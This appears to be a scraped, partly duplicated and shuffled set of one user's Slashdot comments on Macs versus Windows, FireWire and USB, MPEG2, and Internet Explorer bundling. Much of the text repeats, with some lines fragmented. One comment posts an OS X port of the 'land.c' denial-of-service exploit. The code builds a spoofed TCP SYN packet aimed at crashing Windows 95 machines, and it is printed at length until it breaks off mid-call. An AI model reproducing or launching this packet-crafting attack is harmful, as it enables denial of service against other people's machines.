ID3 tags are one things... iTunes keeps all sorts of useful meta-data itself such as number of times played, last played, added to the library etc..
Also, iTunes gave you dynamic views such as give me a playlist that is track #7 of every album or give me a dynamic view of songs I have never listened to. I actually have random views like this in my library. Makes for great ways to listen to music.
the.exe is not providing the OS API for 3rd party and other windows components, it is the html rendering library.
I was talking about how the html rendering library is separate and can be used in the OS. I never said anything about Windows not making the rendering library available only that the iexplore.exe binary can be removed as it provides no services.
but who would want a 11mbit connection to a booted hard-drive? USB pre2.0 booting is retarded and slow and is equivilant to booting from a floppy drive except a little more complicated.
Firewire just happens to have had the most recent revision
Firewire has a nice roadmap set out that outlines speeds to be expected etc... USB might have the same thing, but be honest with yourself... USB is not seeing nearly the amount of upgrades as it should have in its history. It has been around for awhile and is started at a pathetic 11mbit and took forever to upgrade to the next speed bump.
Every port has its purpose. Firewire is for hi-def video and nice speed hard-drives, usb is for smaller lower bandwidth devices. By the original argument of why not have 1 port... then... why not use a gig-E Copper Ethernet port instead of Firewire and usb.
Exactly... this is most likely why Microsoft was found a monopoly... the.exe is not providing the OS API for 3rd party and other windows components, it is the html rendering library.
OS X has its WebCore and Safari is built on top of that. Anyone in the world could use the WebCore libs and make their own browser out of it.
Same for FireFox... Why do you think Netscape is so easily able to use the Mozilla renderer... because it is a library.
Microsoft's argument for not detaching IE is retarded as the executable is so not needed for anything. If they had been asked to remove the libraries, then they would have a problem.
Now, for the courts of course... Microsoft would always want to remove everything that is IE to prove that it has a huge purpose.
Agreed, you can always find some small feature that gets left behind because someone was thinking too far out of the box and not enough about the application of the spec. It just annoys me to hear that the format is anything beyond stable at this point(MPEG2 isn't going to have any huge changes in the future).
I talked about an entire industry supporting the format as opposed to some hacked MPEG4 piracy format like DiVX. Honestly, MPEG2 streams have to interoperate and the vendor backed industry with big players such as Vela, Sony, the entire DVD industry, Apple(h.262), Seachange, etc.. all of which are ISO/IEC 13818(MPEG2 standard) Compliant. To say anything to the contrary is just naive. Nearly all of these vendors advertise that they are compliant and the little guys have to be compliant to compete.
So, again... how is the MPEG2 format not implemented in the industry? And please know/read at least some of the standard before a rebuttal.
Firewire never gained more of the market share over USB, and that is why all DVDs use MPEG4.
sigh...
Firewire is to multimedia as USB is to keyboards.
Seriously, Different purposes and it is the same reason that Firewire is part of every camcorder shipped today and USB is part of just about every keyboard or mouse shipped today. You could say that the floppy drive is one of the most successful devices in history because it shipped unchanged for so long, but that doesn't mean that you can use it instead of a hard-drive.
All DVDs use MPEG4? WRONG. MPEG2 is the standard DVD codec. While many newer DVD Players may support new formats such as MPEG4 or DiVX, studio productions are rarely encoded in these since they need the disk to play everywhere. Don't believe me about MPEG2... Look here. That is the first link I found to it, but it technically is the DVD FAQ that every site backs.
MPEG2 has trouble catching on?!? Just because you don't use it in your computer "piracy" world does not mean that it is not used. MPEG2 is used across the country for any real video work because it is basically uncompressed. This means News stations, Cable Stations etc...
I know for a fact that Local and National commercials across the nation are encoded in MPEG2. Also, that most of the News clips that you see on TV are sitting on a video content server as an MPEG2 stream. MPEG2 has a whole plethora of hardware vendors that make nothing but MPEG2 Encoders and Decoders so how exactly is it having trouble catching on?
Haven't tried the code above, but I spent 5 minutes porting the linked code to OS X. It didn't take long and I am sure someone will compile it and be happy that their favorite OS can crash windows machines just as well as those Linux guys.
Funny story, DOS attacks were my first motivation to try Linux. I wonder how many other people are the same(oh, how the years go by). Anyways, here is the code. And, for the record... it is too hard to post code on Slashdot... A million filters to work through:-(
/* land.c by m3lt, FLC * crashes a win95 box *This is an OS X port *Save the code as land.c/g++ land.c -o land */ #include <machine/types.h> #include <unistd.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <netdb.h> #include <arpa/inet.h> #include <netinet/in.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/if_ether.h> #include <netinet/in_systm.h> #include <netinet/ip_var.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <netinet/tcpip.h>
I mean, what do people actually do with a client PC that you couldn't, in theory, do with a browser and some plug-ins?
Google is already moving away from the "web browser for everything" towards desktop based apps. Hence, the globe searching software(can't remember the name), the photo thing, the desktop search thing(that interfaces with the web), etc... A browser is suitable for some things, but anything written within a plugin is ultimately bound by the limitations of the browser and is tied directly to competing with other plugins/threads within that browser for CPU time before even making it to the OS.
Also, lets not forget about latency and good design. The response on anything should be as close to instant as possible. Browser's inherently have latency built into them, whether it is the loading of some page, or the clicking of one page to the next. This is also a reason that the Java GUI struggles so much is because it always feels so sluggish to use.
Er, how do you think I got so pissed off about having to reboot every time the web browser hung?
As a Mac user today, I honestly have to say that anyone who used a Mac from 1995-1999(OS X) really missed out on a much more advanced Microsoft product. Likewise, anyone who is still using Windows today is now missing out.
OS X takes as long to boot and has as much pointless eye candy, and the same brain dead one-thing-at-a-time GUI
some examples would be nice. OS X rarely needs rebooting. For a laptop, you never have to shut it down and the fast on feature gives you a working desktop before you can fully open screen.
No Eye Candy is pointless if it has been labeled eye candy. It is part of the finished product. Today, if a Mac application has a really bad icon... it almost is a sure thing that it is poorly written. Attention to details is everything.
one thing at a time gui? If you are complaining about the 1 mouse button... Buy a 2 button mouse(it works). If you are complaining about the layout of the OS, you need to learn how to use it. cmd+tab(switches apps) and cmd+`(switches windows). Bundle that with expose, the ability to effect windows without losing focus of the current window(hold the cmd button down when using the mouse), and the drag and drop of just about everything... I think you are confused.
Seriously, I am tired of people complaining about their Dell computers being broken and virus-ridden. And then I say, my Apple doesn't have those problems and they really can't comprehend.
I can't get over the fact that 98% of you put of with Windows.
Scary thing is... that I am not scared of virus, spyware, trojans, pop-ups when I am on my Mac. Granted, with a bigger Market Share... people might try to exploit holes, but Apple has a really good auto-updater that users simply have to hit "Install" on.
I like my computing experience being one of not thinking of viruses as opposed to my friends who constantly update Norton virus definitions and run Adaware.
The DVI can pretty much be downgraded to S-video if you so desire. Most HDtvs seem to carry DVI in now and you can always convert that to other signals pretty easily(such as component, composite, s-video, VGA, etc).
"spring-loaded folders" - I think those are annoying. Turn them off.
"the application install process (or lack of)" - (lack of) a central location to add/remove software from your computer.
Drag the application to the Trash can. Done. True, you have support libraries in the/Library folder that may be orphaned, but this happens in every OS, and is probably better to leave behind(they don't take up that much space
"the dock (yes I like it)" - I don't. You can't see your application titles unless you mouse over them. What if you have 6+ Word docs open?
Use Expose after you get to the document(I can't believe expose wasn't even talked about yet, or Cmd+` to cycle through you apps
If Mac's had a way to turn off the Scale/Genie effects entirely, I wouldn't mind at all.
It can be turned of very simply. Apple Logo->Dock->Dock Preferences
The only way to close a Mac app is to Control-Click it on the dock, and wait for a menu to quit the application
Apple users abuse the hell out of hotkeys. cmd+w to close a window, cmd+q to quit the application. if you get really happy, cmd+tab+q+tab+q etc... to close all the applications.
I just need a computer to get my work done, IM my friends, and maybe read some original and witty jokes
You sound like Apple's target audience:-D
Mac Mini and iBook are not expensive by any stretch of the imagination. If anything, the parent is a reply to Flamebait started by the Poster.
Methane + Possibility of Life + Mars = Fart Jokes:-/
ID3 tags are one things... iTunes keeps all sorts of useful meta-data itself such as number of times played, last played, added to the library etc..
Also, iTunes gave you dynamic views such as give me a playlist that is track #7 of every album or give me a dynamic view of songs I have never listened to. I actually have random views like this in my library. Makes for great ways to listen to music.
or a planet for all the bald point pens.
Must reply even though this is mega old
.exe is not providing the OS API for 3rd party and other windows components, it is the html rendering library.
the
I was talking about how the html rendering library is separate and can be used in the OS. I never said anything about Windows not making the rendering library available only that the iexplore.exe binary can be removed as it provides no services.
My 4-year-old motherboard boots USB fine
but who would want a 11mbit connection to a booted hard-drive? USB pre2.0 booting is retarded and slow and is equivilant to booting from a floppy drive except a little more complicated.
Firewire just happens to have had the most recent revision
Firewire has a nice roadmap set out that outlines speeds to be expected etc... USB might have the same thing, but be honest with yourself... USB is not seeing nearly the amount of upgrades as it should have in its history. It has been around for awhile and is started at a pathetic 11mbit and took forever to upgrade to the next speed bump.
Every port has its purpose. Firewire is for hi-def video and nice speed hard-drives, usb is for smaller lower bandwidth devices. By the original argument of why not have 1 port... then... why not use a gig-E Copper Ethernet port instead of Firewire and usb.
Exactly... this is most likely why Microsoft was found a monopoly... the .exe is not providing the OS API for 3rd party and other windows components, it is the html rendering library.
OS X has its WebCore and Safari is built on top of that. Anyone in the world could use the WebCore libs and make their own browser out of it.
Same for FireFox... Why do you think Netscape is so easily able to use the Mozilla renderer... because it is a library.
Microsoft's argument for not detaching IE is retarded as the executable is so not needed for anything. If they had been asked to remove the libraries, then they would have a problem.
Now, for the courts of course... Microsoft would always want to remove everything that is IE to prove that it has a huge purpose.
Agreed, you can always find some small feature that gets left behind because someone was thinking too far out of the box and not enough about the application of the spec. It just annoys me to hear that the format is anything beyond stable at this point(MPEG2 isn't going to have any huge changes in the future).
I talked about an entire industry supporting the format as opposed to some hacked MPEG4 piracy format like DiVX. Honestly, MPEG2 streams have to interoperate and the vendor backed industry with big players such as Vela, Sony, the entire DVD industry, Apple(h.262), Seachange, etc.. all of which are ISO/IEC 13818(MPEG2 standard) Compliant. To say anything to the contrary is just naive. Nearly all of these vendors advertise that they are compliant and the little guys have to be compliant to compete.
So, again... how is the MPEG2 format not implemented in the industry? And please know/read at least some of the standard before a rebuttal.
Firewire never gained more of the market share over USB, and that is why all DVDs use MPEG4.
sigh...
Firewire is to multimedia as USB is to keyboards.
Seriously, Different purposes and it is the same reason that Firewire is part of every camcorder shipped today and USB is part of just about every keyboard or mouse shipped today. You could say that the floppy drive is one of the most successful devices in history because it shipped unchanged for so long, but that doesn't mean that you can use it instead of a hard-drive.
All DVDs use MPEG4? WRONG. MPEG2 is the standard DVD codec. While many newer DVD Players may support new formats such as MPEG4 or DiVX, studio productions are rarely encoded in these since they need the disk to play everywhere. Don't believe me about MPEG2... Look here. That is the first link I found to it, but it technically is the DVD FAQ that every site backs.
MPEG2 has trouble catching on?!? Just because you don't use it in your computer "piracy" world does not mean that it is not used. MPEG2 is used across the country for any real video work because it is basically uncompressed. This means News stations, Cable Stations etc...
I know for a fact that Local and National commercials across the nation are encoded in MPEG2. Also, that most of the News clips that you see on TV are sitting on a video content server as an MPEG2 stream. MPEG2 has a whole plethora of hardware vendors that make nothing but MPEG2 Encoders and Decoders so how exactly is it having trouble catching on?
Haven't tried the code above, but I spent 5 minutes porting the linked code to OS X. It didn't take long and I am sure someone will compile it and be happy that their favorite OS can crash windows machines just as well as those Linux guys.
;
Funny story, DOS attacks were my first motivation to try Linux. I wonder how many other people are the same(oh, how the years go by). Anyways, here is the code. And, for the record... it is too hard to post code on Slashdot... A million filters to work through:-(
/* land.c by m3lt, FLC
* crashes a win95 box
*This is an OS X port
*Save the code as land.c/g++ land.c -o land
*/
#include <machine/types.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip_var.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/tcpip.h>
struct pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;
};
u_short checksum(u_short * data,u_short length)
{
register long value;
u_short i;
for(i=0;i<(length>>1);i++)
value+=data[i];
if((length&1)==1)
value+=(data[i]<<8);
value=(value&65535)+(value>>16);
return(~value);
}
int main(int argc,char * * argv)
{
struct sockaddr_in sin;
struct hostent * hoste;
int sock;
char buffer[40];
struct ip * ipheader=(struct ip *) buffer;
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));
struct pseudohdr pseudoheader;
fprintf(stderr,"land.c by m3lt, FLC\n");
if(argc<3)
{
fprintf(stderr,"usage: %s IP port\n",argv[0]);
return(-1);
}
bzero(&sin,sizeof(struct sockaddr_in));
sin.sin_family=AF_INET;
if((hoste=gethostbyname(argv[1]))!=NULL)
bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length)
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
fprintf(stderr,"unknown host %s\n",argv[1]);
return(-1);
}
if((sin.sin_port=htons(atoi(argv[2])))==0)
{
fprintf(stderr,"unknown port %s\n",argv[2]);
return(-1);
}
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
fprintf(stderr,"couldn't allocate raw socket\n");
return(-1);
}
bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));
ipheader->ip_v=4;
ipheader->ip_hl=sizeof(struct ip)/4;
ipheader->ip_len=htons(sizeof(struct ip)+sizeof(struct tcphdr));
ipheader->ip_id=htons(0xF1C);
ipheader->ip_ttl=255;
ipheader->ip_p=IPPROTO_TCP;
ipheader->ip_src=(const in_addr &)sin.sin_addr.s_addr;
ipheader->ip_dst=(const in_addr &)sin.sin_addr.s_addr;
tcpheader->th_sport=sin.sin_port;
tcpheader->th_dport=sin.sin_port;
tcpheader->th_seq=htonl(0xF1C);
tcpheader->th_flags=TH_SYN;
tcpheader->th_off=sizeof(struct tcphdr)/4;
tcpheader->th_win=htons(2048);
bzero(&pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
if(sendto(sock,buffer,
I mean, what do people actually do with a client PC that you couldn't, in theory, do with a browser and some plug-ins?
Google is already moving away from the "web browser for everything" towards desktop based apps. Hence, the globe searching software(can't remember the name), the photo thing, the desktop search thing(that interfaces with the web), etc... A browser is suitable for some things, but anything written within a plugin is ultimately bound by the limitations of the browser and is tied directly to competing with other plugins/threads within that browser for CPU time before even making it to the OS.
Also, lets not forget about latency and good design. The response on anything should be as close to instant as possible. Browser's inherently have latency built into them, whether it is the loading of some page, or the clicking of one page to the next. This is also a reason that the Java GUI struggles so much is because it always feels so sluggish to use.
There is a nasty bug in Linux that makes the computer reboot every 49.7 days.
wtf... Nothing special, just a machine I am logged into right now.
# uname -m -r -s -p
Linux 2.4.27 i686 unknown
# uptime
4:25pm up 104 days, 16:25, 7 users, load average: 0.15, 0.44, 0.72
That is a SQUARE resolution, not widescreen
Not a square... 1024x1024 would be square... I learned that in the second grade.
What you mean is that it is not a 12x9 resolution(all HDTV res's), instead it is a 4x3 resolution.
I got three iPODs and two cellphones, but what is this telephone thing that you talk of:-P
second item should have a .mov on it instead of a .mp3: real link, no change to my last remark as I wasn't comparing them via those links.
How about a 5;33 second clip down to 1.9 megs.
.mov wrapper): Massive Attack - Teardrop
:-P
Source: Massive Attack - Teardrop
AAC(with
The song is more than listenable, I had both playing simultaneous and switched between the streams, I could tell very little difference.
If someone is dying for a Real Audio version...
Oh, if you like that song, Mezzanine by Massive Attack is a wonderful album, Available here
Er, how do you think I got so pissed off about having to reboot every time the web browser hung?
As a Mac user today, I honestly have to say that anyone who used a Mac from 1995-1999(OS X) really missed out on a much more advanced Microsoft product. Likewise, anyone who is still using Windows today is now missing out.
OS X takes as long to boot and has as much pointless eye candy, and the same brain dead one-thing-at-a-time GUI
some examples would be nice. OS X rarely needs rebooting. For a laptop, you never have to shut it down and the fast on feature gives you a working desktop before you can fully open screen.
No Eye Candy is pointless if it has been labeled eye candy. It is part of the finished product. Today, if a Mac application has a really bad icon... it almost is a sure thing that it is poorly written. Attention to details is everything.
one thing at a time gui? If you are complaining about the 1 mouse button... Buy a 2 button mouse(it works). If you are complaining about the layout of the OS, you need to learn how to use it. cmd+tab(switches apps) and cmd+`(switches windows). Bundle that with expose, the ability to effect windows without losing focus of the current window(hold the cmd button down when using the mouse), and the drag and drop of just about everything... I think you are confused.
AMEN!!!!!!
Seriously, I am tired of people complaining about their Dell computers being broken and virus-ridden. And then I say, my Apple doesn't have those problems and they really can't comprehend.
I can't get over the fact that 98% of you put of with Windows.
Scary thing is... that I am not scared of virus, spyware, trojans, pop-ups when I am on my Mac. Granted, with a bigger Market Share... people might try to exploit holes, but Apple has a really good auto-updater that users simply have to hit "Install" on.
I like my computing experience being one of not thinking of viruses as opposed to my friends who constantly update Norton virus definitions and run Adaware.
The DVI can pretty much be downgraded to S-video if you so desire. Most HDtvs seem to carry DVI in now and you can always convert that to other signals pretty easily(such as component, composite, s-video, VGA, etc).
"It is better to remain quiet and risk being thought an idiot
than to open your mouth and remove all doubt."
You know, spell checker is global in OS X.
"spring-loaded folders" - I think those are annoying.
/Library folder that may be orphaned, but this happens in every OS, and is probably better to leave behind(they don't take up that much space
Turn them off.
"the application install process (or lack of)" - (lack of) a central location to add/remove software from your computer.
Drag the application to the Trash can. Done. True, you have support libraries in the
"the dock (yes I like it)" - I don't. You can't see your application titles unless you mouse over them. What if you have 6+ Word docs open?
Use Expose after you get to the document(I can't believe expose wasn't even talked about yet, or Cmd+` to cycle through you apps
If Mac's had a way to turn off the Scale/Genie effects entirely, I wouldn't mind at all.
It can be turned of very simply. Apple Logo->Dock->Dock Preferences
The only way to close a Mac app is to Control-Click it on the dock, and wait for a menu to quit the application
Apple users abuse the hell out of hotkeys. cmd+w to close a window, cmd+q to quit the application. if you get really happy, cmd+tab+q+tab+q etc... to close all the applications.
I just need a computer to get my work done, IM my friends, and maybe read some original and witty jokes
You sound like Apple's target audience:-D
errr... he must be confused:-/